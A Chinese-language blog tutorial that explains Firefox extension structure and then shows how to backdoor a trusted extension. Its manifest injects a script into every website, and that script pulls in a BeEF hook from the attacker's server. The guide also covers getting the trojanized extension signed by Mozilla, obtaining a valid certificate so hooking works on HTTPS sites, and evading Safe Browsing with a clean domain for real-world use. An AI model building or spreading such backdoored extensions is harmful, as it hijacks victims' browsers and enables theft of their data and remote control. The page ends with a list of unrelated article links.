插件的基本机构及其作用

1、manifest.json 这个文件是每个插件都必须有的一个文件(其他的文件是可选的),它定义了插件的所有的信息,如权限,要引入哪些脚本,包含哪些资源等等。

2、Background pages 后台执行的脚本,如果你的插件需要有一个脚本文件一直在后台执行的话,这个脚本不在任何用户的可见的页签里运行,而是在浏览器为它创建的一个空白页里运行,所以它不能访问别的网页的DOM,所以用它没法做js注入。

3、Content scripts 直译是内容脚本,我理解为对应某内容而运行的脚本。它可以操作对应的页面的DOM,用它来注入js比较方便。

个人认为,后门注入到可信的程序里就可以了,这也是一种比较理想的状态,而不用自己开发一个很好的软件,然后把后门加进去。所以,后边这四项对于做后门并不重要,知道就好,主要是前面三项要理解。咱们只要改动可信的插件,把咱们的脚本放进去就好了。

4、browser action files 在工具栏中添加按钮

5、page action files 在地址栏添加按钮

6、options pages 为用户定义一个可浏览的UI界面,可以改变插件的设置

7、web-accessible resources 使打包好的内容可用于网页与目录脚本

beef 与插件后门结合

manifest.json

{  "description": "hook ",  
"manifest_version": 2,  
"name": "hookyou",  
"version": "1.0",  
"content_scripts": [    {      
"matches": ["<all_urls>"],      
"js": ["hookyou.js"]    }  ]}

"matches": ["<all_urls>"] 这句表示要在所有的网站都注入 js 修改 <all_urls> 为其他的值,就只在特定网站注入。

hookyou.js

var oScript= document.createElement('script');oScript.src=" 你的 beef 的hook.js";document.body.appendChild(oScript);

如何临时加载你的插件

在地址栏输入 about:debugging ,回车,然后选择临时载入附加组件,再找到你的插件的目录,选中它的 manifest.json 文件,这个插件就被加载了。这时候你去访问网址,就会发现,body 里被注入了 js。

beef 支持 https

现在的浏览器是不允许在 https 的网页引入 http 资源的(图片除外),但是现在的知名网址,大都是 https 了,所以不能放弃劫持 https 的网站。那么我们的 beef 就得支持 https。

本地测试的话,很简单,直接让靶机信任证书就好了,但是要用到实战就有些尴尬了。所以我们要用合法的证书,腾讯云有免费的,申请也很快,可以自行申请。值得一提的是,需要把那几个文件提供给 beef。

申请完毕之后,下载到本地解压,其中有如下几个文件。

beef 使用的 web 服务器软件是 apache,所以我们打开 apache 文件夹。

beef 只需要文件 2 和文件 3,先把 beef 原来的证书备份一下,然后把文件 2 文件 3 复制到 beef 证书的存访位置,然后把文件 2 改名为 beef_cert.pem,文件 3 改名为 beef_key.pem。(我不懂密码学,对这些证书文件就不妄加论断了,只说怎么操作,hhhhh)

然后修改配置文件,把此处 enable 项的值改为 true

然后重新启动 beef,你就得用 https 协议访问 3000 端口了。

把恶意代码注入到现有的插件

首先下载某插件的源码

https://github.com/khoiasd/hackbar

把 hookyou.js 放进它的目录

然后修改某插件的 manifest.json 文件,让它把 hookyou.js 当作 conten_script 引入。

狐插件的必须要经过签名才能安装,否则会提示插件损坏。

具体流程:插件打包->上传到附件组件开发者中心->通过校验->下载已签名插件->安装插件

插件打包

把插件目录下的文件,用 zip 压缩即可。注意是文件夹下的文件,而不是压缩整个文件夹。

打开文件夹,选中再压缩。

下的步骤都很简单,没什么注意的了,只要你的插件不报错,问题不大。

safe browsing

如果你的域名被标识为含有恶意网站的话,在从你的网站加载 js 时,就会被 safe browsing 拦截,影响测试效果。具体的关闭方法是:

实战时,你得找个干净的域名。

Content-Security-Policy

也就是 CSP 头,有个网址的相应包里会有找个头,通常就不能这么直接的引入 js 了,所以有些网页你虽然打开了,但是 beef 里并没有上线(除去网络不好的原因),这是正常的。

不过我们也不用去绕过,插件可以直接执行 js,只是不能从外部引入站点不可信的 js。

插件测试

测试环境

win10

firefox 59.0.2(64 位)

首先安装插件后门到靶机的浏览器。貌似看起来跟正常的插件没什么区别。

插件貌似看起来跟正常的插件没什么区别。

然后登陆 beef 后台,在靶机浏览器打开几个网站,稍等一会。

这时我们看到,靶机上线了。

看一下靶机页面源代码。

执行个模块试试

总结

经过黑客的手的东西都很危险啊,还是小心使用的好。

本文只是展示了用借助 beef 来实现攻击,结合其他平台也是一样。

自己编写后门代码更是优秀,火狐插件有很多 API,可以很方便的盗取信息,实现远程控制,奈何本人前端水平太差,只能在这抛砖引玉了。

初窥火狐浏览器插件后门相关推荐

  1. 火狐浏览器插件(XPI 文件)签名指南

    Symantec,Thawte,GlobalSign 签发的代码签名证书都可以签名火狐浏览器插件(XPI)文件.如果您还没有代码签名证书,请联系易维信(EVTrust)购买火狐代码签名证书. 第 1 ...

  2. 火狐浏览器插件_期待!全新安卓正式版Firefox火狐浏览器,将支持97个插件

    一直以来,无法在手机浏览器上安装各种方便的插件都是许多用户心中的遗憾.此前,扩展迷也曾给大家介绍过一款能够在手机上使用Chrome插件的kiwi和Yandex浏览器.但是直到现在,这两种浏览器在国内都 ...

  3. ntko web firefox跨浏览器插件_Firefox火狐浏览器插件全部失效解决方法

    5月5日,由于Mozilla公司忘记更新用于签署Firefox插件的安全证书,当证书过期,导致新的插件下载安装失败,并阻止现有的插件正常工作. PC版解决方法 1.启动Studies(Firefox选 ...

  4. 火狐浏览器插件大全,火狐插件大全,firefox插件使用方法

    使用火狐有一段时间了,装了N多插件以后自己也越来越离不开火狐了. 许多人不习惯用这个浏览器,因为刚下载回来的光杆司令除了浏览速度快点外和 IE 没什么区别. 其实火狐的特色在于扩展,优势在于开源,大家 ...

  5. 如何下载安装与火狐浏览器不兼容的火狐浏览器插件

    首先 我们在火狐的插件仓库里寻找自己需要的插件 点我进入插件仓库 我们可以看到这个插件和火狐浏览器当前版本不兼容,它不允许我们下载了,其实我们只要点击我标出的按钮,进入下一个页面 进入页面 审查元素 ...

  6. 【技术贴】火狐QQ空间音乐插件下载+火狐进空间没背景音乐崩溃解决+火狐浏览器插件推荐...

    火狐QQ空间没声音火狐QQ空间崩溃火狐空间没音乐崩溃火狐QQ空间没音乐没声音 火狐进入QQ空间音乐不能播放以及进入空间崩溃的解决办法.见文章末尾. 火狐浏览器需要添加的插件.大集合下载地址.以及文字说 ...

  7. 火狐浏览器插件HTTPFOX抓传输数据

    打开火狐浏览器  工具--附加组件--搜索HTTPFOX--安装--重启浏览器 Start    随意输入用户名  密码 ok 转载于:https://blog.51cto.com/8134954/1 ...

  8. 获取网页上没有下载链接的视频音频资源 火狐浏览器插件 Video DownloadHelper

    获取网页上没有下载链接的视频音频资源 荔枝上web的音频下载链接没有了,"查看源代码",没有找到蛛丝马迹,它的数据没有以资源的形式放到前台代码中,于是查看浏览器缓存,希望从中发现点 ...

  9. 2010实用火狐浏览器插件总结

    最先使得是遨游(IE6咱就不算了吧!),后来使用火狐有一段时间了,现在网速比较慢(2M带宽还两人用!5555-)又用起了谷歌浏览器. 只有在专门研究一个网站的时候才用火狐,谷歌浏览器查看代码的水平用不 ...

最新文章

  1. 在64位的环境中使用VS建立Web项目进行Oracle连接需要注意WebDev是32位的
  2. linux字符串转为二进制,Linux printf将十进制转换为二进制?
  3. LEACH分簇算法实现和能量控制算法实现
  4. Stream流中间操作方法
  5. SAP BOPF和ESF2这两个框架有什么区别
  6. Java的20年:重大事件的时间表
  7. 任何举动之前,先思考,思考,再思考
  8. 网页mp3提取器_用Python写一个酷狗音乐下载器!
  9. php memcache 类库,php操作Memcache的一个类库的方法(代码)
  10. 五子棋python设计心得_python五子棋游戏的设计与实现
  11. Windows Linux Mac 路由添加删除
  12. ad18修改过孔和走线间距_PCB设计之“过孔”
  13. 二叉树的前中后序遍历的三种实现(java)以及一些小习题
  14. 针对Win10 Tensorflow-2.x 训练 线程冻结(假死、卡住、几个epoch后、中途停滞、CPU占用0%) 等问题的排查总结
  15. python使用phone实现手机号归属地查询
  16. 吴式太极拳之北王-王茂斋先生
  17. yii之gii的使用
  18. OS X EI Captan 中Rootless
  19. javax.mail.MessagingException: 500 Error: bad syntax问题
  20. Spark入门知识--Day7

热门文章

  1. Android 开发模板
  2. PostgreSQL修炼之道之SQL语言入门(三)
  3. pyecharts 可视化大屏制作
  4. 启动MySql提示:The server quit without updating PID file(…)失败--侧面看
  5. 谷歌面试 扔鸡蛋_如何解决Google招聘人员关于从建筑物中扔鸡蛋的难题
  6. 删除dialog窗口的问号符号
  7. 多多自走棋改动_多多自走棋:新赛季改动,木棍任务或成绝版,术士调整扑朔迷离...
  8. 安全协议不安全 OpenSSL现重大安全漏洞
  9. 优惠券叠加规则、优惠分摊介绍
  10. 专访木瓜移动刘凡:木瓜移动如何为行业聚能?